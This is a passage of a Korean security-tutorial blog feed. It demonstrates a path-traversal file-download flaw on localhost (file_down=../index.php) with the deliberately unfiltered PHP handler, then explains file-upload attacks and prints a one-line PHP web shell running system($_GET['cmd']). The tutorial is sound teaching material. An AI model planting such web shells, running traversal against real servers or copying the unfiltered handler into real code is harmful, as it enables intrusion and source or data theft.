&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;667&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FxYXu/btsPF30z89v/JEjGzZ3YjjoZ3kfNKBexGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FxYXu/btsPF30z89v/JEjGzZ3YjjoZ3kfNKBexGK/img.png&quot; data-alt=&quot;파일 다운로드 버튼 눌렀을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FxYXu/btsPF30z89v/JEjGzZ3YjjoZ3kfNKBexGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFxYXu%2FbtsPF30z89v%2FJEjGzZ3YjjoZ3kfNKBexGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;495&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;667&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일 다운로드 버튼 눌렀을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다시 복사했던 링크 주소를 가져와서 이번엔 file_down 파라미터 값에 기존 파일 이름이 아닌 &lt;b&gt;../index.php&lt;/b&gt;를 입력하면 원래라면 다운로드할 수 없는 index.php 파일을 다운로드할 수 있는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[링크 주소 변경 전]&lt;/p&gt;
&lt;pre id=&quot;code_1754378491532&quot; class=&quot;html xml&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;html&quot;&gt;&lt;code&gt;http://localhost/file.php?file_down=%ED%8C%8C%EC%9D%BC+%EC%97%85%EB%A1%9C%EB%93%9C%EC%9A%A9+%EC%82%AC%EC%A7%84.png&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[링크 주소 변경 후]&lt;/p&gt;
&lt;pre id=&quot;code_1754378402785&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/file.php?file_down=../index.php&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;588&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NWHfw/btsPGvDa07g/lmkjWBOr5Z9wkdk0X4IjQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NWHfw/btsPGvDa07g/lmkjWBOr5Z9wkdk0X4IjQ0/img.png&quot; data-alt=&quot;임의 파일 다운로드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NWHfw/btsPGvDa07g/lmkjWBOr5Z9wkdk0X4IjQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNWHfw%2FbtsPGvDa07g%2FlmkjWBOr5Z9wkdk0X4IjQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;436&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;588&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;임의 파일 다운로드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다운로드한 index.php 파일을 메모장으로 열어보면 실제로 index.php 파일 소스코드가 다운로드 된 것을 알 수 있으며 &lt;b&gt;index.php 파일의 모든 소스코드가 노출&lt;/b&gt;되고 있는 것을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;711&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEkTtm/btsPF7CORFY/E0KKz1JyOo54Tk3hREzYmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEkTtm/btsPF7CORFY/E0KKz1JyOo54Tk3hREzYmk/img.png&quot; data-alt=&quot;index.php 소스코드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEkTtm/btsPF7CORFY/E0KKz1JyOo54Tk3hREzYmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEkTtm%2FbtsPF7CORFY%2FE0KKz1JyOo54Tk3hREzYmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;527&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;711&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;index.php 소스코드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;원래라면 해당 게시글 작성자가 업로드한 파일만 다운로드할 수 있어야 하는데 다른 경로에 있는 파일인 index.php 파일을 다운로드할 수 있었습니다. &lt;b&gt;이런 식으로 파일 다운로드를 이용하여 임의의 파일을 다운로드할 수 있는 취약점을 파일 다운로드 취약점이라고 합니다.&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;파일 다운로드(File Download) 공격 설명&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;유닉스 계열 운영체제의 경우 디렉토리 경로 구분을 다음과 같이 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; margin: 0px auto; text-align: center; height: 226px;&quot; width=&quot;427&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f0f0f0;&quot;&gt;
&lt;th style=&quot;border: 1px solid black; padding: 10px;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;border: 1px solid black; padding: 10px;&quot;&gt;유닉스 계열&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid black; padding: 10px;&quot;&gt;최상위 디렉토리&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid black; padding: 10px;&quot;&gt;/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid black; padding: 10px;&quot;&gt;디렉토리 구분&lt;/td&gt;
&lt;td style=&quot;border: 1px solid black; padding: 10px;&quot;&gt;/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid black; padding: 10px;&quot;&gt;현재 디렉토리 이동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid black; padding: 10px;&quot;&gt;./&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid black; padding: 10px;&quot;&gt;상위 디렉토리 이동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid black; padding: 10px;&quot;&gt;../&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ex) http://localhost/test/filedownload/&lt;b&gt;../&lt;/b&gt;hi.php&amp;nbsp;&amp;rarr; http://localhost/test/hi.php&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실습 과정 중 file_down 파라미터 값에 ../index.php 를 입력하여 index.php 파일을 다운로드할 수 있는 과정이 있었습니다. 이때 사용된 ../ 표현식이 상위 디렉토리로 이동이라는 의미를 가지고 있습니다. &lt;b&gt;즉, ../index.php 는 상위디렉토리에 있는 index.php 파일을 의미합니다.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1754463205911&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/file.php?file_down=../index.php &amp;lt;!--상위 디릭토리에 있는 index.php 파일--&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 다운로드를 처리하는 file.php 파일의 소스코드를 보겠습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1754464328569&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
    if (isset($_GET['file_down'])) {
        $file = $_GET['file_down']; // [취약한 부분] 파일명을 필터링 없이 그대로 사용 중
        $filePath = &quot;data/&quot; . $file;

        if (file_exists($filePath)) {
            header(&quot;Content-Disposition: attachment; filename=&quot; . basename($file));
            header(&quot;Content-Type: application/octet-stream&quot;);
            readfile($filePath);
            exit;
        } else {
            echo &quot;File not found.&quot;;
        }
    }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;file.php 소스코드를 확인해 보면 파일 다운로드는 data 디렉토리 내부에 있는 파일들을 다운로드 하고 있음을 알 수 있습니다. 즉 다운로드할 파일의 이름이 TEST.png 이면 다운로드할 파일이 있는 경로는 다음과 같습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[파일명 입력]&lt;/p&gt;
&lt;pre id=&quot;code_1754465102242&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/file.php?file_down=TEST.png&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[다운로드 받을 파일이 있는 경로]&lt;/p&gt;
&lt;pre id=&quot;code_1754465252357&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/data/TEST.png&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;file_down 파리미터 값에 ../index.php 를 입력하게 되면 다운로드 받을 파일이 있는 경로는 다음과 같이 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[파일명 입력]&lt;/p&gt;
&lt;pre id=&quot;code_1754466715022&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/file.php?file_down=../index.php&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[다운로드 받을 파일이 있는 경로]&lt;/p&gt;
&lt;pre id=&quot;code_1754466755133&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/data/../index.php&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[최종 경로]&lt;/p&gt;
&lt;pre id=&quot;code_1754466970176&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/index.php&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;위 최종 경로를 보게되면 결국 index.php 파일을 다운로드 받을 수 있다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[*참고]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span&gt;(조금 헷갈릴 수 있지만 실제 서버의 웹 루트(web root) 경로는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;/var/www/html/public/&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;입니다. 바로 위에서 설명한 경로는 설명을 위한 예시이니 상위 디렉토리로 이동을 의미하는 ../ 을 이용해서 다른 경로에 있는 파일을 가져올 수 있구나 정도로 이해 해 주시면 될 것 같습니다.)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;마무리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습을 통해서 파일 다운로드(File Download) 취약점을 알아봤는데 해당 글은 파일 다운로드 취약점이 어떤 것인지 간단하게 알아보는 글입니다. 다른 글에서 파일 다운로드 취약점을 조금 더 깊이 다뤄보고 대응 방안도 함께 알아보겠습니다.&lt;/p&gt;</description>
      <category>[WEB] 모의해킹/File Download</category>
      <category>File Download 취약점</category>
      <category>모의해킹</category>
      <category>정보보안</category>
      <category>파일 다운로드</category>
      <category>파일 다운로드 취약점</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/10</guid>
      <comments>https://code000.tistory.com/entry/%F0%9F%93%8C%ED%8C%8C%EC%9D%BC-%EB%8B%A4%EC%9A%B4%EB%A1%9C%EB%93%9CFile-Download-%EC%B7%A8%EC%95%BD%EC%A0%90#entry10comment</comments>
      <pubDate>Wed, 6 Aug 2025 17:27:18 +0900</pubDate>
    </item>
    <item>
      <title> File Upload 취약점</title>
      <link>https://code000.tistory.com/entry/%F0%9F%93%8CFile-Upload-%EC%B7%A8%EC%95%BD%EC%A0%90</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;| File Upload 취약점&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 원하는 임의의 파일을 업로드할 수 있는 취약점&lt;br /&gt;&lt;i&gt;ex) 서버에서 실행시킬 수 있는 스크립트 파일&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;| File Upload 취약점이 발생할 수 있는 곳&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드를 할 수 있는 곳.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;ex) 프로필 사진, 게시판, 서류 제출&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;취약점 발생 원인:&lt;/b&gt; 파일을 업로드 받을 때 별다른 검증, 검사를 하지 않기 때문에 발생 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;| 공격 시나리오&lt;/span&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;서버 측 실행 파일&lt;/b&gt; &lt;br /&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;서버에서 사용하는 언어를 알아낸 뒤, 해당 언어로 우리가 원하는 코드를 실행할 수 있도록 할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Phising&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML 파일을 올림으로써 피싱 공격을 유도할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Deface&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 사이트를 무단으로 변경하거나 변조하는 공격을 말합니다. &lt;a style=&quot;color: #000000;&quot; href=&quot;https://m.boannews.com/html/detail.html?idx=55936&quot; data-token-index=&quot;1&quot;&gt;&lt;span&gt;보안뉴스&lt;/span&gt;&lt;/a&gt;(링크참고) 에 따르면 화면을 마음대로 바꾸고 해킹에 성공했음을 알리는데 사용되는 공격을 말합니다. &amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;XSS&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일에 대한 검사를 하지 않아서 파일 업로드 취약점이 있을 때, 악성 스크립트 파일을 올릴 수 있게 되며 올린 파일의 경로로 접속하면 해당 스크립트가 실행됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Dos (Denial of Service) - 서비스 거부 공격&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 업로드로 서버에 매우 큰 파일을 올림으로써 서버가 재기능을 하지 못하도록 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;❓ Web Shell 공격&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 공격 중에&lt;u&gt;&lt;b&gt; 서버 측 실행 코드&lt;/b&gt;&lt;/u&gt;에 해당하는 Web Shell 공격에 대해서 설명하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Web&amp;nbsp;Shell&amp;nbsp;공격&lt;/b&gt;은&amp;nbsp;간단하게&amp;nbsp;말해서&amp;nbsp;사용자가&amp;nbsp;웹서버에서&amp;nbsp;동작하는&amp;nbsp;스크립트를&amp;nbsp;이용하여&amp;nbsp;서버에&amp;nbsp;접근한&amp;nbsp;뒤,&amp;nbsp;불법적인&amp;nbsp;행위를&amp;nbsp;하는&amp;nbsp;공격을&amp;nbsp;말합니다.&amp;nbsp;이러한&amp;nbsp;Web&amp;nbsp;Shell&amp;nbsp;공격은&amp;nbsp;웹&amp;nbsp;서버가&amp;nbsp;사용하고&amp;nbsp;있는&amp;nbsp;언어(php,&amp;nbsp;jsp,&amp;nbsp;asp&amp;nbsp;등등)가&amp;nbsp;사용된&amp;nbsp;스&lt;b&gt;크립트&amp;nbsp;파일을&amp;nbsp;업로드&amp;nbsp;함&lt;/b&gt;으로써&amp;nbsp;서버에게&amp;nbsp;명령하게&amp;nbsp;됩니다.&amp;nbsp;서버에게&amp;nbsp;명령할&amp;nbsp;수&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;악의적인&amp;nbsp;사용자들은&amp;nbsp;이를&amp;nbsp;악용하여&amp;nbsp;불법적인&amp;nbsp;행위를&amp;nbsp;저지를&amp;nbsp;수&amp;nbsp;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;Web Shell 공격의 핵심&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;/span&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;웹 서버 측 실행 코드를 업로드 합니다.&lt;/li&gt;
&lt;li&gt;업로드된 파일의 경로를 알아야 합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Web Shell 공격은 웹 서버 측 실행 코드를 이용하여 서버에 접근할 수 있습니다. 파일 업로드를 통해 Web Shell 파일을 업로드하면 해당 경로를 알아야 하는데 경로를 알아야 Web Shell 을 실행할 수 있기 때문입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;| File Upload 취약점(실습)&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단한&amp;nbsp;실습을&amp;nbsp;통해&amp;nbsp;File&amp;nbsp;Upload(파일&amp;nbsp;업로드)&amp;nbsp;취약점이&amp;nbsp;무엇인지에&amp;nbsp;대해서&amp;nbsp;알아보겠습니다.&amp;nbsp;우선&amp;nbsp;게시판에&amp;nbsp;글을&amp;nbsp;쓸&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;웹사이트가&amp;nbsp;있고&amp;nbsp;파일&amp;nbsp;업로드&amp;nbsp;기능이&amp;nbsp;있다고&amp;nbsp;가정합니다.&amp;nbsp;이때&amp;nbsp;웹&amp;nbsp;쉘(WebShell)파일을&amp;nbsp;업로드합니다.&amp;nbsp;(웹&amp;nbsp;쉘&amp;nbsp;파일&amp;nbsp;내용은&amp;nbsp;게시판&amp;nbsp;사진&amp;nbsp;아래를&amp;nbsp;참고해&amp;nbsp;주세요.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxY0gB/btsOS9OgaYr/WaeEU2wnZOkxkDEz1j0ld0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxY0gB/btsOS9OgaYr/WaeEU2wnZOkxkDEz1j0ld0/img.png&quot; data-origin-width=&quot;845&quot; data-origin-height=&quot;621&quot; data-is-animation=&quot;false&quot; width=&quot;567&quot; height=&quot;417&quot; data-widthpercent=&quot;42.89&quot; style=&quot;width: 42.3906%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxY0gB/btsOS9OgaYr/WaeEU2wnZOkxkDEz1j0ld0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxY0gB%2FbtsOS9OgaYr%2FWaeEU2wnZOkxkDEz1j0ld0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;845&quot; height=&quot;621&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dOnXAu/btsOS9ajE46/GHnF0TKIqyA2Ko5IDjZTJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dOnXAu/btsOS9ajE46/GHnF0TKIqyA2Ko5IDjZTJK/img.png&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;521&quot; data-is-animation=&quot;false&quot; width=&quot;474&quot; height=&quot;262&quot; style=&quot;width: 56.4467%;&quot; data-widthpercent=&quot;57.11&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dOnXAu/btsOS9ajE46/GHnF0TKIqyA2Ko5IDjZTJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdOnXAu%2FbtsOS9ajE46%2FGHnF0TKIqyA2Ko5IDjZTJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;521&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;파일 업로드 기능이 있는 게시판&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;[ webshell.php 안에 내용]&lt;/h3&gt;
&lt;pre id=&quot;code_1751001755766&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// webshell.php
&amp;lt;?php 
	echo system($_GET['cmd']);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;webshell.php 코드를 보면 정말 간단한 웹 쉘 코드입니다. 해석을 해보면 php 내장 함수인 system 함수가 cmd 파라미터에 들어온 값을 서버의 명령어로 실행하게 됩니다. ex) webshell.php?cmd=___내용부분___ &lt;b&gt;내용부분에 입력된 값들이 서버의 운영체제 명령어로 실행된다는 의미입니다.&amp;nbsp;&lt;/b&gt;이를 이해하고 이제 파일을 업로드 해보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
